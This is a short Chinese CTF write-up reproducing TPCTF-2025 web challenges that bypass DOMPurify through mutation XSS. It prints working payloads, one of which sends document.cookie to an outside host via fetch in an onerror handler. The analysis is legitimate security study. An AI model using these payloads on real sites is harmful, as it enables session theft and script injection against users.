TPCTF-2025 web 复现

前言
TPCTF,没想到能出一道题,也算是能给战队贡献自己的一点微薄之力了,虽然做出的题目不难
DOMpurify mXSS 系列
baby layout
1 | <textarea>{{content}}</textarea> |
会被解析成如下
1 | <textarea><a id="</textarea> |

safe layout
啊啊啊!人生中第一次在大比赛中做出题目来,我太激动了🥹
虽然解题不是很难,也是借着学长第一题的力,但是搜半天文章最后找到poc的感觉真好
1 | <a aria-c="</textarea><img src=x onerror=fetch('http://.../flag?'+document.cookie)>">onez3r0</a> |


safe layout revenge
没想到还是那篇文章里面的,唉,当时看了一半解完题之后太激动了也没耐心往下看完,不过好在学长发现了
1 | x<style><\uFEFF/style><\uFEFFimg src=x onerror=alert(1)></style> |
1 | replace \uFEFF to {{content}} |
[参考文章] Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)
- 标题: TPCTF-2025 web 复现
- 作者: OneZ3r0
- 创建于 : 2025-03-08 21:49:56
- 更新于 : 2025-07-29 18:03:58
- 链接: https://blog.onez3r0.top/2025/03/08/tpctf-2025-reproduction/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。